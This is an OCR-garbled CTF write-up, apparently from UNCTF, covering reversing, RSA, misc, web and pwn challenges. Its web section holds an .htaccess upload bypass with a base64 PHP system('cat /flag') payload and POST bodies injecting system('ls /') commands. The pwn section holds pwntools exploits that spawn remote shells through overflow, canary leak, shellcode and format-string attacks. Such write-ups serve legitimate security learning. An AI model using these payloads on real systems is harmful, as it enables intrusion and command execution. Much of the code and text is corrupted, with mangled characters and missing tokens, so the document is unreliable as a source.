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struct JPGFILE jpe
char scanData[:
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ezlogin
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v6 = @;
do
{
v7 = &17[v5];
for (1 =2; 1 >=0; --1)
{
Ve = *v7;
V7 += 8;
Text[ve++] = v0 * Bx16;
¥
++v5;

while ( v5 <= 4 ); CSDM @2 Murnuzi




lag{refOrL@ve}

rejunk
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sprintf(Buffer, "%s¥s¥sks", "WQGUL", "xb>2:", "ooh95=", "' 'twk");
if ( (vo ~ (v14[v9] + 2)) l= Buffer[ve] )
break;
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py_trade
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(flag[i])+i)"(k%3+1)
(flag)-i-1] = (ord(flag[len(flag)-i-1]) + (len(flag)-i-1))(k%3+1)

jin (32,128):
flag[n] 1)
foriin (len(flag)):
num(i] = (ord(flag[i])+i)"(k%3+1)
num[len(flag)-i-1] = (ord(flag[len(flag)-i-1]) + (len(flag)-i-1))"(k%3+1)
k+=1
if(true_flag[n] == num[n]):
flag[n] 1)
break

print(".join(flag))
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easy_rsa

= 996120270736696555674156566211071090291944 127199680924 1009358666778850435448710324711706845973820669201482939
82048817438232579513465931330960669833497847 1
p=1252518714988762851044740388110744207883380309730257941960568953071469030843747620785551162584002711986083463
3695330551080761572835309850579517639206740101

c= 2858741980202551352535471362143120601039508485441937200567102473923562581793653901048122241982463495661018443
0308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472
434842753891213128487132962453421971000901646523331476667655739056951415917218673801225

p'q
L = (p-1)"(q-1)
d = gmpy2.invert(e,L)
m = gmpy2.powmod(c,d,n)

print(binascii.unhexlify(hex(m)[2:]))
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From Base64
Alphabet

A-Za-z8-9+/=

Remove non-alphabet chars

time: Sms

Output length: 36 B

lines: 1
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( ,'r').readlines()
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", Ox07:"D", 0x08:"E", Ox09:"F", OX0A:"G", 0x0B:"H", OXOC:"|", 0x0OD:"J", OXOE:"K", OXOF:"L", 0x10:
0x11:"N",0x12:"0O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", Ox17:"T", 0x18:"U",0x19:"V", Ox1A: , Ox1B:"X", Ox1C:"Y", Ox1D:"Z", OX1E:"1", Ox1
F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a: , 0X2B: , 0x2C:" ", 0x2D:"-", Ox2
E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"", 0x36:",", 0x37:"." }
for i in (len(f)):
num (f[i][2:4],16)
if(f[i][O] )
if(num in mappings):
print(mappings[num].upper(),end=")
else:
if (num in mappings):
print(mappings[num].lower(), end=")
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baby rsa

n=2702318056753317667362587600173376525043900888849667740537261365938796948050040083179933847940453373463206040
1129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467
7784263129678324315951785587112580279998979749420463985833974452998613382038604207215854606761380918280322231534
2572802365689788016678881196952352609122152029302010653058745363760034953342764151847378862043086612833196245032
5767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431
397426705701275774039588035776573373417654649168810548916141

c= 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733
8230196617068725442312095237728454923984926771856602139631181446680381839249703704814761412216097062080644285607
3221436146913521205735534282519359897177555183324069939348283942227348079324484153112664219920274461065615315554
5415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933
6572872724525812489348900294095592345076260124232554306996870388086583271746096608747485401855892638004476502425
03224189976058739054174360024536594384447518687126891675059

e= 65537

p = gmpy2.gcd(n,c)

q = n//p

phi = (q-1)"(p-1)

d = gmpy2.invert(e,phi)

m (c,d,n)

print(libnum.n2s(int(m//p)))
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import hashlib
foriin (9999999):

data (i).encode()
m = hashlib.md5(data)

m = m.hexdigest()
if(m[:5] ):
print(i)
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echo welcome to unctf :
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LOAD SPLIT EXECUTE TEST -~ sqQLl - Xss - LRl < SSTI ~ ENCODING

URL
http://568a3ab8-222a-4781-8f57-9fa4c599518f.node1.hackingfor.fun/?user=ununctfctf

enctype

@ cnable POST application/x-www-form-urlencoded v /

Body

pass=1004649
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R gm, REEE N RapacheF a4, T72&FH. htaccesskKIKHflag

B R POSTIX B GET#:4T 2 %0a B 7]

?filename=.htaccess&content=AddType application/x-httpd-p\%0Ahp .ppt%0Ap\%0Ahp_value a\%0Auto_append_file "p\%0Ahp://filter/convert.
b\%0Aase64-decode/resource=mn.ppt"

?filename=mn.ppt&content=GIF89a12%0APD9waHAgc3lzd GVIKCdjYXQgL2ZsYWcnKTs/Pg==

@ bd594330-b79a-4a95-b8d9-5 X +
< cC A T2 | bd594330-b79a-4a95-b8d9-50742cdbcb1b.nodel.hackingfor.fun/1b5337d0c8ad813197b506146d8d503d/mn.ppt

HOWA M Gmail @ YouTube @ 8 B @z ) mI=mysMLE. WoLstof numeral sy.. 3\ FECTF Writeup... 3 CTFtimeorg/All.. B Tsizs.Emz ©

GIF89a12 PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWenKTs/Pg==00|00vUNCTF{f98bacf7-759c-471f-80d3-ecalae78e399}

CSDM @z Murnuzi

phpmysql

% B R FEecho new dp ser(db_pwd);RHAT 4



Exception %3 F7E 18 & M4 R R AN BB A K B RAE, Rphpp &5 H Ak
ReflectionClass 5i# ReflectionMethod #5 4% F KK 512, AT CAERAR A — AN 1wl

X B A] P ¥ ctfshow web 10911 i, FIRE M KRCE, BAMRME T, HERCLIITT REMH S, XNHKUIHH__ toString()
BEATT . X B AT LA Hexception. mysqli. ReflectionClass%

POST:host=127.0.0.1&port=3306&pwd=system('ls /')&user=mysqli

POST:host=127.0.0.1&port=3306&pwd=system('tac /fllllaaaaag')&user=mysqli
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magic_int

—ANinti H A puts B AR H

putsIEIMATFF it BE X, retIlBEEK—E+8..., FRA KIRZ+7

from pwn import
remote( ,30993)

(0x70+7)+p64(0x400781)
p.sendline(payload)
p.interactive()

fo

fmtFT H canary#R J5 it H

from pwn import

p=remote(
context.log_level
p.sendlineafter(
p.recvuntil('0x)

(p.recv(16),16)

(canary))

p.sendlineafter( ,'a*0x58+p64(canary)+p64(0)+p64(0x40080d))
p.interactive()
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ret2shellcode

from pwn import

p=remote( ,31483)
context.arch

(asm(shellcraft.sh())))
0x18+p64(0x601080))

ezfsb
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R )5 JE T system(‘code’), i fread &S Hi/bin/shE Asystemi 1%, 2P fsystem(/bin/sh’)

from pwn import

elf = ELF( )
context.log_level

P = remote(

a_addr = 0x0804A050
p.recvuntil( )

payload p32(a_addr)
p.sendline(payload)
p.recvuntil( )

p.sendline(fmtstr_payload(5,{0x0804A04D:0x22}))
p.recvuntil( )
(0x74+4)+p32(elf.plt[ 1)+p32(0x080486d9)+p32(0)+p32(0x804ab00)+p32(0x4)+p32(elf.plt] 1)+p32(0)+p32(0x804ab0

p.sendline(payload)
p.interactive()
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